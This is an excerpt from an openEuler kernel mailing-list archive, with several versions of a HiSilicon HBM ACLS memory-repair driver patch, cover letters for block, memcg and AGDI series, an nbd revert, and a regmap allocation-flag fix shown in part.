arch/arm64/configs/openeuler_defconfig | 6 +- drivers/iommu/iommu.c | 2 + drivers/pci/iov.c | 14 + drivers/vhost/vdpa.c | 383 ++++++++++++++++++++++--- include/linux/pci.h | 8 +- include/linux/vdpa.h | 60 +++- include/uapi/linux/vhost.h | 20 ++ include/uapi/linux/vhost_types.h | 21 ++ include/uapi/linux/virtio_ids.h | 12 + tools/include/uapi/linux/vhost.h | 8 + 10 files changed, 489 insertions(+), 45 deletions(-) -- 2.27.0

2 30

[PATCH V4 OLK-5.10] soc: hisilicon: hisi_hbmdev: Add hbm acls repair and query methods
by Zhang Zekun 06 Nov '23

06 Nov '23

hulk inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I8CCP5 ---------------------------------- Hbm memory device add support for acls hot repair. The patch add two methods for userpace: - query a paddr if it support acls repair - repair a paddr in hbm memory device The feature of ACLS hot repair can help to fix a memory error from userspace by passing through the error physical address to HBM hardware. Signed-off-by: Zhang Zekun <zhangzekun11(a)huawei.com> --- v4 - remove "Offering HULK" to pass CI patch format check v3 - Add #include <linux/mm.h> to avoid compile failure in arch x86_64 v2: - Change "u64 pfn" ot "unsigned long pfn" to avoid compile error - Add two stub to pretiffy the code drivers/soc/hisilicon/Kconfig | 10 +++ drivers/soc/hisilicon/hisi_hbmdev.c | 132 ++++++++++++++++++++++++++++ 2 files changed, 142 insertions(+) diff --git a/drivers/soc/hisilicon/Kconfig b/drivers/soc/hisilicon/Kconfig index 383375f20cac..45754528873e 100644 --- a/drivers/soc/hisilicon/Kconfig +++ b/drivers/soc/hisilicon/Kconfig @@ -44,4 +44,14 @@ config HISI_HBMCACHE To compile the driver as a module, choose M here: the module will be called hisi_hbmcache. +config HISI_HBMDEV_ACLS + bool "Add support for HISI ACLS repair" + depends on HISI_HBMDEV + help + Add ACLS support for hbm device, which can be used to query and + repair hardware error in HBM devices. This feature need to work with + hardware firmwares. + + If not sure say no. + endmenu diff --git a/drivers/soc/hisilicon/hisi_hbmdev.c b/drivers/soc/hisilicon/hisi_hbmdev.c index 5b6b1618148c..8348abc6144c 100644 --- a/drivers/soc/hisilicon/hisi_hbmdev.c +++ b/drivers/soc/hisilicon/hisi_hbmdev.c @@ -11,6 +11,7 @@ #include <linux/node.h> #include <linux/arch_topology.h> #include <linux/memory_hotplug.h> +#include <linux/mm.h> #include "hisi_internal.h" @@ -25,6 +26,9 @@ struct cdev_node { struct memory_dev { struct kobject *memdev_kobj; struct kobject *topo_kobj; +#ifdef CONFIG_HISI_HBMDEV_ACLS + struct kobject *acls_kobj; +#endif struct cdev_node cdev_list; nodemask_t cluster_cpumask[MAX_NUMNODES]; }; @@ -85,6 +89,132 @@ static void memory_topo_init(void) kobject_put(mdev->topo_kobj); } +#ifdef CONFIG_HISI_HBMDEV_ACLS +static struct acpi_device *paddr_to_acpi_device(u64 paddr) +{ + unsigned long pfn; + int nid; + + pfn = __phys_to_pfn(paddr); + if (!pfn_valid(pfn)) + return NULL; + + nid = pfn_to_nid(pfn); + if (nid < 0 && nid >= MAX_NUMNODES) + return NULL; + + return hotplug_mdev[nid]; +} + +static ssize_t acls_query_store(struct kobject *kobj, + struct kobj_attribute *attr, + const char *buf, size_t count) +{ + struct acpi_object_list arg_list; + struct acpi_device *adev; + union acpi_object obj; + acpi_status status; + u64 paddr, res; + + if (kstrtoull(buf, 16, &paddr)) + return -EINVAL; + + adev = paddr_to_acpi_device(paddr); + if (!adev) + return -EINVAL; + + obj.type = ACPI_TYPE_INTEGER; + obj.integer.value = paddr; + arg_list.count = 1; + arg_list.pointer = &obj; + + status = acpi_evaluate_integer(adev->handle, "AQRY", &arg_list, &res); + if (ACPI_FAILURE(status)) + return -ENODEV; + + if (IS_ERR_VALUE(-res)) + return -res; + else if (res) + return -ENODEV; + + return count; +} + +static struct kobj_attribute acls_query_store_attribute = + __ATTR(acls_query, 0200, NULL, acls_query_store); + +static ssize_t acls_repair_store(struct kobject *kobj, + struct kobj_attribute *attr, + const char *buf, size_t count) +{ + struct acpi_object_list arg_list; + struct acpi_device *adev; + union acpi_object obj; + acpi_status status; + u64 paddr, res; + + if (kstrtoull(buf, 16, &paddr)) + return -EINVAL; + + adev = paddr_to_acpi_device(paddr); + if (!adev) + return -EINVAL; + + obj.type = ACPI_TYPE_INTEGER; + obj.integer.value = paddr; + arg_list.count = 1; + arg_list.pointer = &obj; + + status = acpi_evaluate_integer(adev->handle, "AREP", &arg_list, &res); + if (ACPI_FAILURE(status)) + return -ENODEV; + + if (IS_ERR_VALUE(-res)) + return -res; + else if (res) + return -ENODEV; + + return count; +} +static struct kobj_attribute acls_repair_store_attribute = + __ATTR(acls_repair, 0200, NULL, acls_repair_store); + +static struct attribute *acls_attrs[] = { + &acls_query_store_attribute.attr, + &acls_repair_store_attribute.attr, + NULL, +}; + +static struct attribute_group acls_attr_group = { + .attrs = acls_attrs, +}; + +static void acls_init(void) +{ + int ret = -ENOMEM; + + mdev->acls_kobj = kobject_create_and_add("acls", mdev->memdev_kobj); + if (!mdev->acls_kobj) + goto out; + + ret = sysfs_create_group(mdev->acls_kobj, &acls_attr_group); + if (ret) + kobject_put(mdev->acls_kobj); + +out: + if (ret) + pr_err("ACLS hot repair is not enabled\n"); +} + +static void acls_remove(void) +{ + kobject_put(mdev->acls_kobj); +} +#else +static void acls_init(void) {} +static void acls_remove(void) {} +#endif + static int get_pxm(struct acpi_device *acpi_device, void *arg) { acpi_handle handle = acpi_device->handle; @@ -284,6 +414,7 @@ static int __init mdev_init(void) } memory_topo_init(); + acls_init(); return ret; } module_init(mdev_init); @@ -293,6 +424,7 @@ static void __exit mdev_exit(void) container_remove(); kobject_put(mdev->memdev_kobj); kobject_put(mdev->topo_kobj); + acls_remove(); kfree(mdev); } module_exit(mdev_exit); -- 2.17.1

2 1

[PATCH V3 OLK-5.10] soc: hisilicon: hisi_hbmdev: Add hbm acls repair and query methods
by Zhang Zekun 06 Nov '23

06 Nov '23

Offering: HULK hulk inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I8CCP5 ---------------------------------- Hbm memory device add support for acls hot repair. The patch add two methods for userpace: - query a paddr if it support acls repair - repair a paddr in hbm memory device The feature of ACLS hot repair can help to fix a memory error from userspace by passing through the error physical address to HBM hardware. Signed-off-by: Zhang Zekun <zhangzekun11(a)huawei.com> --- v3 - Add #include <linux/mm.h> to avoid compile failure in arch x86_64 v2: - Change "u64 pfn" ot "unsigned long pfn" to avoid compile error - Add two stub to pretiffy the code drivers/soc/hisilicon/Kconfig | 10 +++ drivers/soc/hisilicon/hisi_hbmdev.c | 132 ++++++++++++++++++++++++++++ 2 files changed, 142 insertions(+) diff --git a/drivers/soc/hisilicon/Kconfig b/drivers/soc/hisilicon/Kconfig index 383375f20cac..45754528873e 100644 --- a/drivers/soc/hisilicon/Kconfig +++ b/drivers/soc/hisilicon/Kconfig @@ -44,4 +44,14 @@ config HISI_HBMCACHE To compile the driver as a module, choose M here: the module will be called hisi_hbmcache. +config HISI_HBMDEV_ACLS + bool "Add support for HISI ACLS repair" + depends on HISI_HBMDEV + help + Add ACLS support for hbm device, which can be used to query and + repair hardware error in HBM devices. This feature need to work with + hardware firmwares. + + If not sure say no. + endmenu diff --git a/drivers/soc/hisilicon/hisi_hbmdev.c b/drivers/soc/hisilicon/hisi_hbmdev.c index 5b6b1618148c..8348abc6144c 100644 --- a/drivers/soc/hisilicon/hisi_hbmdev.c +++ b/drivers/soc/hisilicon/hisi_hbmdev.c @@ -11,6 +11,7 @@ #include <linux/node.h> #include <linux/arch_topology.h> #include <linux/memory_hotplug.h> +#include <linux/mm.h> #include "hisi_internal.h" @@ -25,6 +26,9 @@ struct cdev_node { struct memory_dev { struct kobject *memdev_kobj; struct kobject *topo_kobj; +#ifdef CONFIG_HISI_HBMDEV_ACLS + struct kobject *acls_kobj; +#endif struct cdev_node cdev_list; nodemask_t cluster_cpumask[MAX_NUMNODES]; }; @@ -85,6 +89,132 @@ static void memory_topo_init(void) kobject_put(mdev->topo_kobj); } +#ifdef CONFIG_HISI_HBMDEV_ACLS +static struct acpi_device *paddr_to_acpi_device(u64 paddr) +{ + unsigned long pfn; + int nid; + + pfn = __phys_to_pfn(paddr); + if (!pfn_valid(pfn)) + return NULL; + + nid = pfn_to_nid(pfn); + if (nid < 0 && nid >= MAX_NUMNODES) + return NULL; + + return hotplug_mdev[nid]; +} + +static ssize_t acls_query_store(struct kobject *kobj, + struct kobj_attribute *attr, + const char *buf, size_t count) +{ + struct acpi_object_list arg_list; + struct acpi_device *adev; + union acpi_object obj; + acpi_status status; + u64 paddr, res; + + if (kstrtoull(buf, 16, &paddr)) + return -EINVAL; + + adev = paddr_to_acpi_device(paddr); + if (!adev) + return -EINVAL; + + obj.type = ACPI_TYPE_INTEGER; + obj.integer.value = paddr; + arg_list.count = 1; + arg_list.pointer = &obj; + + status = acpi_evaluate_integer(adev->handle, "AQRY", &arg_list, &res); + if (ACPI_FAILURE(status)) + return -ENODEV; + + if (IS_ERR_VALUE(-res)) + return -res; + else if (res) + return -ENODEV; + + return count; +} + +static struct kobj_attribute acls_query_store_attribute = + __ATTR(acls_query, 0200, NULL, acls_query_store); + +static ssize_t acls_repair_store(struct kobject *kobj, + struct kobj_attribute *attr, + const char *buf, size_t count) +{ + struct acpi_object_list arg_list; + struct acpi_device *adev; + union acpi_object obj; + acpi_status status; + u64 paddr, res; + + if (kstrtoull(buf, 16, &paddr)) + return -EINVAL; + + adev = paddr_to_acpi_device(paddr); + if (!adev) + return -EINVAL; + + obj.type = ACPI_TYPE_INTEGER; + obj.integer.value = paddr; + arg_list.count = 1; + arg_list.pointer = &obj; + + status = acpi_evaluate_integer(adev->handle, "AREP", &arg_list, &res); + if (ACPI_FAILURE(status)) + return -ENODEV; + + if (IS_ERR_VALUE(-res)) + return -res; + else if (res) + return -ENODEV; + + return count; +} +static struct kobj_attribute acls_repair_store_attribute = + __ATTR(acls_repair, 0200, NULL, acls_repair_store); + +static struct attribute *acls_attrs[] = { + &acls_query_store_attribute.attr, + &acls_repair_store_attribute.attr, + NULL, +}; + +static struct attribute_group acls_attr_group = { + .attrs = acls_attrs, +}; + +static void acls_init(void) +{ + int ret = -ENOMEM; + + mdev->acls_kobj = kobject_create_and_add("acls", mdev->memdev_kobj); + if (!mdev->acls_kobj) + goto out; + + ret = sysfs_create_group(mdev->acls_kobj, &acls_attr_group); + if (ret) + kobject_put(mdev->acls_kobj); + +out: + if (ret) + pr_err("ACLS hot repair is not enabled\n"); +} + +static void acls_remove(void) +{ + kobject_put(mdev->acls_kobj); +} +#else +static void acls_init(void) {} +static void acls_remove(void) {} +#endif + static int get_pxm(struct acpi_device *acpi_device, void *arg) { acpi_handle handle = acpi_device->handle; @@ -284,6 +414,7 @@ static int __init mdev_init(void) } memory_topo_init(); + acls_init(); return ret; } module_init(mdev_init); @@ -293,6 +424,7 @@ static void __exit mdev_exit(void) container_remove(); kobject_put(mdev->memdev_kobj); kobject_put(mdev->topo_kobj); + acls_remove(); kfree(mdev); } module_exit(mdev_exit); -- 2.17.1

3 2

[PATCH openEuler-1.0-LTS 0/2] Sync LTS patches for openEuler-1.0-LTS
by Zhang Zekun 06 Nov '23

06 Nov '23

Sync 4.19 LTS patches for openEuler-1.0-LTS 1. Fix the wrong alloc flags which may cause sleep in atomic. 2. Fix the wrong bit number. Add a cover letter for these patches, which can help to generate PR. Dan Carpenter (1): regmap: rbtree: Use alloc_flags for memory allocations Richard Fitzgerald (1): regmap: rbtree: Fix wrong register marked as in-cache when creating new node drivers/base/regmap/regcache-rbtree.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) -- 2.17.1

2 3

[PATCH openEuler-22.03-LTS 0/4] fix memcgv1 oom meminfo bug
by Lu Jialin 06 Nov '23

06 Nov '23

Sergey Senozhatsky (1): seq_buf: Add seq_buf_do_printk() helper Steven Rostedt (VMware) (1): seq_buf: Add seq_buf_terminate() API Yosry Ahmed (2): memcg: use seq_buf_do_printk() with mem_cgroup_print_oom_meminfo() memcg: dump memory.stat during cgroup OOM for v1 include/linux/seq_buf.h | 27 +++++++++++++ lib/seq_buf.c | 32 +++++++++++++++ mm/memcontrol.c | 87 +++++++++++++++++++++++------------------ 3 files changed, 108 insertions(+), 38 deletions(-) -- 2.34.1

2 5

[PATCH OLK-5.10 0/5] AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device
by Qian Zou 04 Nov '23

04 Nov '23

From: “z00447436” <zouqian4(a)huawei.com> Some use-cases, such as system management, require the ability to generate a non-maskable event to the OS to request the OS kernel to perform a diagnostic dump and reset the system. Arm Generic Diagnostic Dump and Reset device enables a maintainer to request OS to perform a diagnostic dump and reset a system via SDEI event or an interrupt. This patch implements SDEI path and discards the interrupted context before proceeding to the crash kernel. D Scott Phillips (1): arm64: sdei: abort running SDEI handlers during crash Ilkka Koskinen (3): ACPI: tables: Add AGDI to the list of known table signatures ACPI: AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device ACPICA: iASL: Add suppport for AGDI table Shuai Xue (1): ACPI: APEI: explicit init of HEST and GHES in apci_init() arch/arm64/include/asm/sdei.h | 6 ++ arch/arm64/kernel/entry.S | 27 +++++++- arch/arm64/kernel/sdei.c | 3 + arch/arm64/kernel/smp.c | 8 +-- drivers/acpi/apei/ghes.c | 19 +++--- drivers/acpi/arm64/Kconfig | 10 +++ drivers/acpi/arm64/Makefile | 1 + drivers/acpi/arm64/agdi.c | 116 ++++++++++++++++++++++++++++++++++ drivers/acpi/bus.c | 4 ++ drivers/acpi/pci_root.c | 3 - drivers/acpi/tables.c | 2 +- drivers/firmware/Kconfig | 1 + drivers/firmware/arm_sdei.c | 32 ++++++---- include/acpi/actbl2.h | 20 ++++++ include/acpi/apei.h | 4 +- include/linux/acpi_agdi.h | 13 ++++ include/linux/arm_sdei.h | 4 ++ 17 files changed, 240 insertions(+), 33 deletions(-) create mode 100644 drivers/acpi/arm64/agdi.c create mode 100644 include/linux/acpi_agdi.h -- 2.33.0

2 6

[PATCH OLK-5.10 0/4] AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device
by Qian Zou 04 Nov '23

04 Nov '23

From: “z00447436” <zouqian4(a)huawei.com> Some use-cases, such as system management, require the ability to generate a non-maskable event to the OS to request the OS kernel to perform a diagnostic dump and reset the system. Arm Generic Diagnostic Dump and Reset device enables a maintainer to request OS to perform a diagnostic dump and reset a system via SDEI event or an interrupt. This patch implements SDEI path and discards the interrupted context before proceeding to the crash kernel. D Scott Phillips (1): arm64: sdei: abort running SDEI handlers during crash Ilkka Koskinen (3): ACPI: tables: Add AGDI to the list of known table signatures ACPI: AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device ACPICA: iASL: Add suppport for AGDI table arch/arm64/include/asm/sdei.h | 6 ++++++ arch/arm64/kernel/entry.S | 27 +++++++++++++++++++++++++-- arch/arm64/kernel/sdei.c | 3 +++ arch/arm64/kernel/smp.c | 8 ++++---- drivers/acpi/arm64/Kconfig | 10 ++++++++++ drivers/acpi/arm64/Makefile | 1 + drivers/acpi/bus.c | 2 ++ drivers/acpi/tables.c | 2 +- drivers/firmware/arm_sdei.c | 19 +++++++++++++++++++ include/acpi/actbl2.h | 20 ++++++++++++++++++++ include/linux/acpi_agdi.h | 13 +++++++++++++ include/linux/arm_sdei.h | 2 ++ 12 files changed, 106 insertions(+), 7 deletions(-) create mode 100644 include/linux/acpi_agdi.h -- 2.33.0

2 5

[PATCH OLK-5.10 00/42] add error handling for add disk
by Li Nan 03 Nov '23

03 Nov '23

Christoph Hellwig (14): block: fold register_disk into device_add_disk block: call blk_integrity_add earlier in device_add_disk block: add the events* attributes to disk_attrs block: fix error unwinding in device_add_disk block: clear ->slave_dir when dropping the main slave_dir reference block: add blk_alloc_disk and blk_cleanup_disk APIs blk-mq: add the blk_mq_alloc_disk APIs loop: use blk_mq_alloc_disk and blk_cleanup_disk loop: fix order of cleaning up the queue and freeing the tagset nbd: use blk_mq_alloc_disk and blk_cleanup_disk block: add a flag to make put_disk on partially initalized disks safer nvme: use blk_mq_alloc_disk brd: convert to blk_alloc_disk/blk_cleanup_disk ubi: use blk_mq_alloc_disk and blk_cleanup_disk Dan Carpenter (1): blk-mq: fix an IS_ERR() vs NULL bug Li Lingfeng (1): nbd: fix uaf in nbd_open Luis Chamberlain (10): block: return errors from blk_integrity_add block: return errors from disk_alloc_events block: add error handling for device_add_disk / add_disk block: fix device_add_disk() kobject_create_and_add() error handling loop: add error handling support for add_disk() nbd: add error handling support for add_disk() nvme: add error handling support for add_disk() block/brd: add error handling support for add_disk() scsi: sr: Add error handling support for add_disk() mtd/ubi/block: add error handling support for add_disk() Tetsuo Handa (1): block: check minor range in device_add_disk() Wang Qing (1): nbd: fix order of cleaning up the queue and freeing the tagset Wen Yang (1): Revert "Revert "block: nbd: add sanity check for first_minor"" Yu Kuai (3): nbd: fix max value for 'first_minor' nbd: fix possible overflow for 'first_minor' in nbd_dev_add() block: fix memory leak for elevator on add_disk failure Zhang Wensheng (1): nbd: fix possible overflow on 'first_minor' in nbd_dev_add() Zhong Jinghua (9): nbd: Reorganize the messy commit log about the first_minor check block: return errors from blk_register_region block: Fix the kabi change in device_add_disk block: Fix the kabi change on blk_register_region block: call blk_get_queue earlier in __device_add_disk block: Fix minor range check in device_add_disk() block: Set memalloc_noio to false in the error path mtd/ubi/block: Fix null pointer dereference issue in error path mtd/ubi/block: Fix uaf problem in ubiblock_cleanup block/blk.h | 5 +- include/linux/blk-mq.h | 12 ++ include/linux/genhd.h | 36 +++++ block/blk-integrity.c | 12 +- block/blk-mq.c | 19 +++ block/genhd.c | 286 ++++++++++++++++++++++++++------------- drivers/block/brd.c | 103 ++++++-------- drivers/block/loop.c | 26 ++-- drivers/block/nbd.c | 75 ++++------ drivers/mtd/ubi/block.c | 76 +++++------ drivers/nvme/host/core.c | 41 +++--- drivers/scsi/sr.c | 7 +- 12 files changed, 413 insertions(+), 285 deletions(-) -- 2.39.2

1 42

[PATCH OLK-5.10 01/42] nbd: Reorganize the messy commit log about the first_minor check
by Li Nan 03 Nov '23

03 Nov '23

From: Zhong Jinghua <zhongjinghua(a)huawei.com> hulk inclusion category: bugfix bugzilla: 188217 ---------------------------------------- Commits on our branch with check issues on first_minor had serious confusion, resulting in duplicate checks in nbd_dev_add and nbd_genl_connect. So I revert the messy commit, backport lts patch. Revert 881885f30261 [Backport] nbd: fix max value for 'first_minor' Revert 4d759cee3f18 [Backport] Revert "Revert "block: nbd: add sanity check for first_minor"" Revert b95487500a4f [Huawei] nbd: fix assignment error for first_minor in nbd_dev_add Revert 93c4218b2f4d [Backport] nbd: fix possible overflow on 'first_minor' in nbd_dev_add() Revert 60141517d289 nbd: Fix use-after-free in blk_mq_free_rqs Revert 98d3ad1d2589 nbd: add sanity check for first_minor Signed-off-by: Zhong Jinghua <zhongjinghua(a)huawei.com> Signed-off-by: Li Nan <linan122(a)huawei.com> --- drivers/block/nbd.c | 24 +----------------------- 1 file changed, 1 insertion(+), 23 deletions(-) diff --git a/drivers/block/nbd.c b/drivers/block/nbd.c index fa08f380f5be..29884a0f1fca 100644 --- a/drivers/block/nbd.c +++ b/drivers/block/nbd.c @@ -1875,17 +1875,7 @@ static int nbd_dev_add(int index) refcount_set(&nbd->refs, 1); INIT_LIST_HEAD(&nbd->list); disk->major = NBD_MAJOR; - - /* Too big first_minor can cause duplicate creation of - * sysfs files/links, since index << part_shift might overflow, or - * MKDEV() expect that the max bits of first_minor is 20. - */ disk->first_minor = index << part_shift; - if (disk->first_minor < index || disk->first_minor > MINORMASK) { - err = -EINVAL; - goto out_free_idr; - } - disk->fops = &nbd_fops; disk->private_data = nbd; sprintf(disk->disk_name, "nbd%d", index); @@ -1972,20 +1962,8 @@ static int nbd_genl_connect(struct sk_buff *skb, struct genl_info *info) if (!netlink_capable(skb, CAP_SYS_ADMIN)) return -EPERM; - if (info->attrs[NBD_ATTR_INDEX]) { + if (info->attrs[NBD_ATTR_INDEX]) index = nla_get_u32(info->attrs[NBD_ATTR_INDEX]); - - /* - * Too big first_minor can cause duplicate creation of - * sysfs files/links, since index << part_shift might - * overflow, or MKDEV() expect that the max bits of - * first_minor is 20. - */ - if (index < 0 || index > MINORMASK >> part_shift) { - printk(KERN_ERR "nbd: illegal input index %d\n", index); - return -EINVAL; - } - } if (!info->attrs[NBD_ATTR_SOCKETS]) { printk(KERN_ERR "nbd: must specify at least one socket\n"); return -EINVAL; -- 2.39.2

1 3

[PATCH RESEND openEuler-1.0-LTS 0/2] Sync LTS patches for openEuler-1.0-LTS
by Zhang Zekun 03 Nov '23

03 Nov '23

Sync 4.19 LTS patches for openEuler-1.0-LTS 1. Fix the wrong alloc flags which may cause sleep in atomic. 2. Fix the wrong bit number. Add a cover letter for these patches, which can help to generate PR. Dan Carpenter (1): regmap: rbtree: Use alloc_flags for memory allocations Richard Fitzgerald (1): regmap: rbtree: Fix wrong register marked as in-cache when creating new node drivers/base/regmap/regcache-rbtree.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) -- 2.17.1

1 2

[PATCH V2 OLK-5.10] soc: hisilicon: hisi_hbmdev: Add hbm acls repair and query methods
by Zhang Zekun 03 Nov '23

03 Nov '23

Offering: HULK hulk inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I8CCP5 ---------------------------------- Hbm memory device add support for acls hot repair. The patch add two methods for userpace: - query a paddr if it support acls repair - repair a paddr in hbm memory device The feature of ACLS hot repair can help to fix a memory error from userspace by passing through the error physical address to HBM hardware. Signed-off-by: Zhang Zekun <zhangzekun11(a)huawei.com> --- v2: - Change "u64 pfn" ot "unsigned long pfn" to avoid compile error - Add two stub to pretiffy the code drivers/soc/hisilicon/Kconfig | 10 +++ drivers/soc/hisilicon/hisi_hbmdev.c | 131 ++++++++++++++++++++++++++++ 2 files changed, 141 insertions(+) diff --git a/drivers/soc/hisilicon/Kconfig b/drivers/soc/hisilicon/Kconfig index 383375f20cac..45754528873e 100644 --- a/drivers/soc/hisilicon/Kconfig +++ b/drivers/soc/hisilicon/Kconfig @@ -44,4 +44,14 @@ config HISI_HBMCACHE To compile the driver as a module, choose M here: the module will be called hisi_hbmcache. +config HISI_HBMDEV_ACLS + bool "Add support for HISI ACLS repair" + depends on HISI_HBMDEV + help + Add ACLS support for hbm device, which can be used to query and + repair hardware error in HBM devices. This feature need to work with + hardware firmwares. + + If not sure say no. + endmenu diff --git a/drivers/soc/hisilicon/hisi_hbmdev.c b/drivers/soc/hisilicon/hisi_hbmdev.c index 5b6b1618148c..caa2711b2de7 100644 --- a/drivers/soc/hisilicon/hisi_hbmdev.c +++ b/drivers/soc/hisilicon/hisi_hbmdev.c @@ -25,6 +25,9 @@ struct cdev_node { struct memory_dev { struct kobject *memdev_kobj; struct kobject *topo_kobj; +#ifdef CONFIG_HISI_HBMDEV_ACLS + struct kobject *acls_kobj; +#endif struct cdev_node cdev_list; nodemask_t cluster_cpumask[MAX_NUMNODES]; }; @@ -85,6 +88,132 @@ static void memory_topo_init(void) kobject_put(mdev->topo_kobj); } +#ifdef CONFIG_HISI_HBMDEV_ACLS +static struct acpi_device* paddr_to_acpi_device(u64 paddr) +{ + unsigned long pfn; + int nid; + + pfn = __phys_to_pfn(paddr); + if (!pfn_valid(pfn)) + return NULL; + + nid = pfn_to_nid(pfn); + if (nid < 0 && nid >= MAX_NUMNODES) + return NULL; + + return hotplug_mdev[nid]; +} + +static ssize_t acls_query_store(struct kobject *kobj, + struct kobj_attribute *attr, + const char *buf, size_t count) +{ + struct acpi_object_list arg_list; + struct acpi_device *adev; + union acpi_object obj; + acpi_status status; + u64 paddr, res; + + if (kstrtoull(buf, 16, &paddr)) + return -EINVAL; + + adev = paddr_to_acpi_device(paddr); + if (!adev) + return -EINVAL; + + obj.type = ACPI_TYPE_INTEGER; + obj.integer.value = paddr; + arg_list.count = 1; + arg_list.pointer = &obj; + + status = acpi_evaluate_integer(adev->handle, "AQRY", &arg_list, &res); + if (ACPI_FAILURE(status)) + return -ENODEV; + + if (IS_ERR_VALUE(-res)) + return -res; + else if (res) + return -ENODEV; + + return count; +} + +static struct kobj_attribute acls_query_store_attribute = + __ATTR(acls_query, 0200, NULL, acls_query_store); + +static ssize_t acls_repair_store(struct kobject *kobj, + struct kobj_attribute *attr, + const char *buf, size_t count) +{ + struct acpi_object_list arg_list; + struct acpi_device *adev; + union acpi_object obj; + acpi_status status; + u64 paddr, res; + + if (kstrtoull(buf, 16, &paddr)) + return -EINVAL; + + adev = paddr_to_acpi_device(paddr); + if (!adev) + return -EINVAL; + + obj.type = ACPI_TYPE_INTEGER; + obj.integer.value = paddr; + arg_list.count = 1; + arg_list.pointer = &obj; + + status = acpi_evaluate_integer(adev->handle, "AREP", &arg_list, &res); + if (ACPI_FAILURE(status)) + return -ENODEV; + + if (IS_ERR_VALUE(-res)) + return -res; + else if (res) + return -ENODEV; + + return count; +} +static struct kobj_attribute acls_repair_store_attribute = + __ATTR(acls_repair, 0200, NULL, acls_repair_store); + +static struct attribute *acls_attrs[] = { + &acls_query_store_attribute.attr, + &acls_repair_store_attribute.attr, + NULL, +}; + +static struct attribute_group acls_attr_group = { + .attrs = acls_attrs, +}; + +static void acls_init(void) +{ + int ret = -ENOMEM; + + mdev->acls_kobj = kobject_create_and_add("acls", mdev->memdev_kobj); + if (!mdev->acls_kobj) + goto out; + + ret = sysfs_create_group(mdev->acls_kobj, &acls_attr_group); + if (ret) + kobject_put(mdev->acls_kobj); + +out: + if (ret) + pr_err("ACLS hot repair is not enabled\n"); +} + +static void acls_remove(void) +{ + kobject_put(mdev->acls_kobj); +} +#else +static void acls_init(void) {} +static void acls_remove(void) {} +#endif + static int get_pxm(struct acpi_device *acpi_device, void *arg) { acpi_handle handle = acpi_device->handle; @@ -284,6 +413,7 @@ static int __init mdev_init(void) } memory_topo_init(); + acls_init(); return ret; } module_init(mdev_init); @@ -293,6 +423,7 @@ static void __exit mdev_exit(void) container_remove(); kobject_put(mdev->memdev_kobj); kobject_put(mdev->topo_kobj); + acls_remove(); kfree(mdev); } module_exit(mdev_exit); -- 2.17.1

2 1

[PATCH openEuler-1.0-LTS 1/2] regmap: rbtree: Use alloc_flags for memory allocations
by Zhang Zekun 03 Nov '23

03 Nov '23

From: Dan Carpenter <dan.carpenter(a)linaro.org> stable inclusion from stable-v4.19.295 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8DDE2 CVE: NA Reference: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id… ---------------------------------------------------------- [ Upstream commit 0c8b0bf42c8cef56f7cd9cd876fbb7ece9217064 ] The kunit tests discovered a sleeping in atomic bug. The allocations in the regcache-rbtree code should use the map->alloc_flags instead of GFP_KERNEL. [ 5.005510] BUG: sleeping function called from invalid context at include/linux/sched/mm.h:306 [ 5.005960] in_atomic(): 1, irqs_disabled(): 128, non_block: 0, pid: 117, name: kunit_try_catch [ 5.006219] preempt_count: 1, expected: 0 [ 5.006414] 1 lock held by kunit_try_catch/117: [ 5.006590] #0: 833b9010 (regmap_kunit:86:(config)->lock){....}-{2:2}, at: regmap_lock_spinlock+0x14/0x1c [ 5.007493] irq event stamp: 162 [ 5.007627] hardirqs last enabled at (161): [<80786738>] crng_make_state+0x1a0/0x294 [ 5.007871] hardirqs last disabled at (162): [<80c531ec>] _raw_spin_lock_irqsave+0x7c/0x80 [ 5.008119] softirqs last enabled at (0): [<801110ac>] copy_process+0x810/0x2138 [ 5.008356] softirqs last disabled at (0): [<00000000>] 0x0 [ 5.008688] CPU: 0 PID: 117 Comm: kunit_try_catch Tainted: G N 6.4.4-rc3-g0e8d2fdfb188 #1 [ 5.009011] Hardware name: Generic DT based system [ 5.009277] unwind_backtrace from show_stack+0x18/0x1c [ 5.009497] show_stack from dump_stack_lvl+0x38/0x5c [ 5.009676] dump_stack_lvl from __might_resched+0x188/0x2d0 [ 5.009860] __might_resched from __kmem_cache_alloc_node+0x1dc/0x25c [ 5.010061] __kmem_cache_alloc_node from kmalloc_trace+0x30/0xc8 [ 5.010254] kmalloc_trace from regcache_rbtree_write+0x26c/0x468 [ 5.010446] regcache_rbtree_write from _regmap_write+0x88/0x140 [ 5.010634] _regmap_write from regmap_write+0x44/0x68 [ 5.010803] regmap_write from basic_read_write+0x8c/0x270 [ 5.010980] basic_read_write from kunit_try_run_case+0x48/0xa0 Fixes: 28644c809f44 ("regmap: Add the rbtree cache support") Reported-by: Guenter Roeck <linux(a)roeck-us.net> Closes: https://lore.kernel.org/all/ee59d128-413c-48ad-a3aa-d9d350c80042@roeck-us.n… Signed-off-by: Dan Carpenter <dan.carpenter(a)linaro.org> Tested-by: Guenter Roeck <linux(a)roeck-us.net> Link: https://lore.kernel.org/r/58f12a07-5f4b-4a8f-ab84-0a42d1908cb9@moroto.mount… Signed-off-by: Mark Brown <broonie(a)kernel.org> Signed-off-by: Sasha Levin <sashal(a)kernel.org> Signed-off-by: Zhang Zekun <zhangzekun11(a)huawei.com> --- drivers/base/regmap/regcache-rbtree.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/drivers/base/regmap/regcache-rbtree.c b/drivers/base/regmap/regcache-rbtree.c index b1e9aae9a5d0..f04007b388ea 100644 --- a/drivers/base/regmap/regcache-rbtree.c +++ b/drivers/base/regmap/regcache-rbtree.c @@ -291,14 +291,14 @@ static int regcache_rbtree_insert_to_block(struct regmap *map, blk = krealloc(rbnode->block, blklen * map->cache_word_size, - GFP_KERNEL); + map->alloc_flags); if (!blk) return -ENOMEM; if (BITS_TO_LONGS(blklen) > BITS_TO_LONGS(rbnode->blklen)) { present = krealloc(rbnode->cache_present, 